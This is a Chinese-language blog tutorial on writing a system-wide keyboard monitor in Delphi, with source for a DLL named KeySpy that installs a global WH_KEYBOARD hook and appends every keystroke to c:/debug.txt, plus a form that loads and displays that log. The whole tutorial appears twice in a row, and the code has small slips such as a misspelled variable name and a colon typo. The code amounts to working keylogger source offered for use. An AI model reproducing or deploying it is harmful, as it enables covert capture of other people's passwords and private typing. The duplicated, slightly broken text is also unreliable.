Delphi中通過鉤子技術實現鍵盤監控
阿新 • • 發佈:2019-01-28
鉤子概述:
鉤子是Windows中訊息處理機制的一個要點,通過安裝各種鉤子,應用程式能夠設定相應的例程來監視系統裡的訊息傳遞以及在這些訊息到達目標視窗應用程式之間處理它們。
鉤子的分類:
鉤子可以分為執行緒鉤子和全域性鉤子,執行緒專用鉤子只是監視指定的執行緒,要監視系統中的所有執行緒必須使用全域性鉤子。對於全域性鉤子,鉤子函式必須要包含在獨立的動態連結庫檔案(DLL)中。本文的例子程式就是這樣的監控全域性鍵盤輸入的全域性鉤子。
函式實現:
首先我們要編寫一個DLL檔案,在這個DLL檔案中使用SetWindowsHookEx來裝載鉤子,該函式的原型我們可以通過MSDN得到:
Function SetWindowsHookEx(idHook:Integer; lpin:TFNHookProc; hmod:HINST; dwThreadld:DWORD):HHOOK;stdcall;
引數說明:
idHook: 鉤子的型別,本例是一個鍵盤鉤子,使用的是WH_KEYBOARD
lpfn 裝載的鉤子處理函式
hmod 程式例項控制代碼
dwThreadld 執行緒ID
安裝成功後返回鉤子過程的控制代碼
最後使用UnhookWindowsHookEx解除安裝已經安裝的鉤子,該函式的原型如下:
function UnhookWindowsHookEx(hhk:HHOOK):BOOL;stdcall;
引數說明:
Hhk 解除安裝鉤子的控制代碼
鉤子的處理過程被宣告為:
TFNHookProc = function (code: Integer; wparam: WPARAM; lparam:LPARAM):LRESULT stdcall;
所以必須按照這個編寫一個處理過程,因為我們要做的是鍵盤鉤子,所以wparam 引數存放的是使用者按下的按鍵。
實現過程:
1. 新建一個dll工程,工程命名為KeySpy。
2. 編寫工程檔案程式碼:
library Project1;
uses
windows,
messages,
hookproc in 'hookproc.pas';
exports //輸出的函式
setkeyhook,
endkeyhook;
begin
nexthookproc := 0;
procsaveexit := exitproc;
exitproc := @keyhookexit;
end.
3. 新建一個單元,命名為 hookproc
4. 編寫hookproc單元檔案程式碼如下:
unit hookproc;
interface
uses
Windows,Messages,SysUtils,Controls,StdCtrls;
var
nexthookproc: hhook;
porcsaveexit: pointer;
function setkeyhook: bool;export; //載入鉤子
function endkeyhook: bool;export; //解除安裝鉤子
procedure keyhookexit;far;
const
afilename= 'c:/debug.txt'; //將鍵盤輸入動作寫入檔案中
var
debugfile: textfile;
procsaveexit:pointer;
implementation
function keyboardhookhandler(icode: integer;wparam: wparam; //鉤子過程
lparam: lparam):lresult;stdcall;export;
begin
if icode<0 then
begin
result := callnexthookex(nexthookproc,icode,wparam,lparam);
exit;
end;
assignfile(debugfile,afilename);
try
append(debugfile);
except
ReWrite(debugfile);
end;
if(getkeystate(wparam)and $8000)=$8000 then //獲取按鍵狀態
begin
if getkeystate(vk_return)<0 then //是否按下回車
begin
writeln(debugfile,'');
end
else
write(debugfile,char(wparam)); //寫入檔案
end;
closefile(debugfile); //關閉檔案
result := 0;
end;
function Setkeyhook: bool;export;
begin
if nexthookproc= 0 then
nexthookproc := SetwindowsHookEx(WH_KEYBOARD,keyboardhookhandler,HInstance,0); //裝載鉤子
result := nexthookproc<>0;
end;
function endkeyhook:bool;export;
begin
if nexthookproc<>0 then
begin
unhookwindowshookex(nexthookproc); //解除安裝鉤子
nexthookproc := 0;
messagebeep(0);
end;
result := nexthookproc = 0;
end;
procedure keyhookexit;far;
begin
if nexthookproc <>0 then endkeyhook;
exitproc := procsaveexit;end;
end.
5. 使用project/compile keyspy 選單命令生成dll檔案,命名為keyspy.dll。
6. 關閉dll工程,新建一個應用程式,主視窗命名為FrmHook。
7. 向窗體中新增一個Ttimer元件,一個TMemo元件,兩個TButton元件
8. 編寫程式程式碼如下:
裝載DLL檔案:
Function setkeyhook:Boolean;stdcall;external ‘Keyspy.dll’;
Function endkeyhook:Boolean:stdcall;external’Keyspy.dll’;
安裝鉤子:
procedure TFrmHook.Button1Click(Sender: TObject);
begin
if setkeyhook then
begin
ShowMessage('鉤子安裝成功!');
Timer1.Enabled := true;
end;
end;
解除安裝鉤子:
procedure TFrmHook.Button2Click(Sender: TObject);
begin
if EndkeyHook then
begin
ShowMessage('鉤子解除安裝成功!');
Timer1.Enabled := false;
end;
end;
開啟監控檔案:
procedure TFrmHook.Timer1Timer(Sender: TObject);
begin
try
Memo1.Lines.LoadFromFile('c:/debug.txt');
except
exit;
end;
end;
鉤子是Windows中訊息處理機制的一個要點,通過安裝各種鉤子,應用程式能夠設定相應的例程來監視系統裡的訊息傳遞以及在這些訊息到達目標視窗應用程式之間處理它們。
鉤子的分類:
鉤子可以分為執行緒鉤子和全域性鉤子,執行緒專用鉤子只是監視指定的執行緒,要監視系統中的所有執行緒必須使用全域性鉤子。對於全域性鉤子,鉤子函式必須要包含在獨立的動態連結庫檔案(DLL)中。本文的例子程式就是這樣的監控全域性鍵盤輸入的全域性鉤子。
函式實現:
首先我們要編寫一個DLL檔案,在這個DLL檔案中使用SetWindowsHookEx來裝載鉤子,該函式的原型我們可以通過MSDN得到:
Function SetWindowsHookEx(idHook:Integer; lpin:TFNHookProc; hmod:HINST; dwThreadld:DWORD):HHOOK;stdcall;
引數說明:
idHook: 鉤子的型別,本例是一個鍵盤鉤子,使用的是WH_KEYBOARD
lpfn 裝載的鉤子處理函式
hmod 程式例項控制代碼
dwThreadld 執行緒ID
安裝成功後返回鉤子過程的控制代碼
最後使用UnhookWindowsHookEx解除安裝已經安裝的鉤子,該函式的原型如下:
function UnhookWindowsHookEx(hhk:HHOOK):BOOL;stdcall;
引數說明:
Hhk 解除安裝鉤子的控制代碼
鉤子的處理過程被宣告為:
TFNHookProc = function (code: Integer; wparam: WPARAM; lparam:LPARAM):LRESULT stdcall;
所以必須按照這個編寫一個處理過程,因為我們要做的是鍵盤鉤子,所以wparam 引數存放的是使用者按下的按鍵。
實現過程:
1. 新建一個dll工程,工程命名為KeySpy。
2. 編寫工程檔案程式碼:
library Project1;
uses
windows,
messages,
hookproc in 'hookproc.pas';
exports //輸出的函式
setkeyhook,
endkeyhook;
begin
nexthookproc := 0;
procsaveexit := exitproc;
exitproc := @keyhookexit;
end.
3. 新建一個單元,命名為 hookproc
4. 編寫hookproc單元檔案程式碼如下:
unit hookproc;
interface
uses
Windows,Messages,SysUtils,Controls,StdCtrls;
var
nexthookproc: hhook;
porcsaveexit: pointer;
function setkeyhook: bool;export; //載入鉤子
function endkeyhook: bool;export; //解除安裝鉤子
procedure keyhookexit;far;
const
afilename= 'c:/debug.txt'; //將鍵盤輸入動作寫入檔案中
var
debugfile: textfile;
procsaveexit:pointer;
implementation
function keyboardhookhandler(icode: integer;wparam: wparam; //鉤子過程
lparam: lparam):lresult;stdcall;export;
begin
if icode<0 then
begin
result := callnexthookex(nexthookproc,icode,wparam,lparam);
exit;
end;
assignfile(debugfile,afilename);
try
append(debugfile);
except
ReWrite(debugfile);
end;
if(getkeystate(wparam)and $8000)=$8000 then //獲取按鍵狀態
begin
if getkeystate(vk_return)<0 then //是否按下回車
begin
writeln(debugfile,'');
end
else
write(debugfile,char(wparam)); //寫入檔案
end;
closefile(debugfile); //關閉檔案
result := 0;
end;
function Setkeyhook: bool;export;
begin
if nexthookproc= 0 then
nexthookproc := SetwindowsHookEx(WH_KEYBOARD,keyboardhookhandler,HInstance,0); //裝載鉤子
result := nexthookproc<>0;
end;
function endkeyhook:bool;export;
begin
if nexthookproc<>0 then
begin
unhookwindowshookex(nexthookproc); //解除安裝鉤子
nexthookproc := 0;
messagebeep(0);
end;
result := nexthookproc = 0;
end;
procedure keyhookexit;far;
begin
if nexthookproc <>0 then endkeyhook;
exitproc := procsaveexit;end;
end.
5. 使用project/compile keyspy 選單命令生成dll檔案,命名為keyspy.dll。
6. 關閉dll工程,新建一個應用程式,主視窗命名為FrmHook。
7. 向窗體中新增一個Ttimer元件,一個TMemo元件,兩個TButton元件
8. 編寫程式程式碼如下:
裝載DLL檔案:
Function setkeyhook:Boolean;stdcall;external ‘Keyspy.dll’;
Function endkeyhook:Boolean:stdcall;external’Keyspy.dll’;
安裝鉤子:
procedure TFrmHook.Button1Click(Sender: TObject);
begin
if setkeyhook then
begin
ShowMessage('鉤子安裝成功!');
Timer1.Enabled := true;
end;
end;
解除安裝鉤子:
procedure TFrmHook.Button2Click(Sender: TObject);
begin
if EndkeyHook then
begin
ShowMessage('鉤子解除安裝成功!');
Timer1.Enabled := false;
end;
end;
開啟監控檔案:
procedure TFrmHook.Timer1Timer(Sender: TObject);
begin
try
Memo1.Lines.LoadFromFile('c:/debug.txt');
except
exit;
end;
end;